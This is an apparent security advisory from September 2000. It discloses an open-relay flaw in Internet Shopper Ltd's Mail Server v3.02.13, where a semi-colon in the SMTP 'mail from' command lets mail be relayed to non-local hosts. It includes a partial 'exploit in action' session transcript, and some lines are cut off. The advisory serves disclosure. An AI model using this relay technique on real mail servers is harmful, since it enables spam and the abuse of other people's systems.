||Home : Advisories : Internet Shopper Ltd's Mail Server Open relay bug|
||Internet Shopper Ltd's Mail Server Open relay bug
||18th September 2000
Internet Shopper Ltd's Mail Server Open relay bug.
(I have been unable to make contact with Internet Shopper Ltd, and
as this bug might easily be found accidently I have decide to make
Internet Shopper Ltd's Mail Server can be made to accept and
handle mail for non-local sites.
Internet Shopper Ltd's Mail Server v3.02.13
No other versions have been tested.
The use of the semi-colon in the "mail from" command will allow
mail to be sent to machine that aren't local.
Exploit in action:
220 mailsvr.xxxxxxxxxx.ac.uk WindowsNT SMTP Server
v3.02.13/32.aap3 ready at Wed, 13 Sep 2000 21:03:39 +0100
250 mailsvr.xxxxxxxxxx.ac.uk me
rcpt to: ImranG@btinternet.com
354 Start mail input, end with ..
250 Requested mail action Ok.
221 Goodbye me
None known at this time.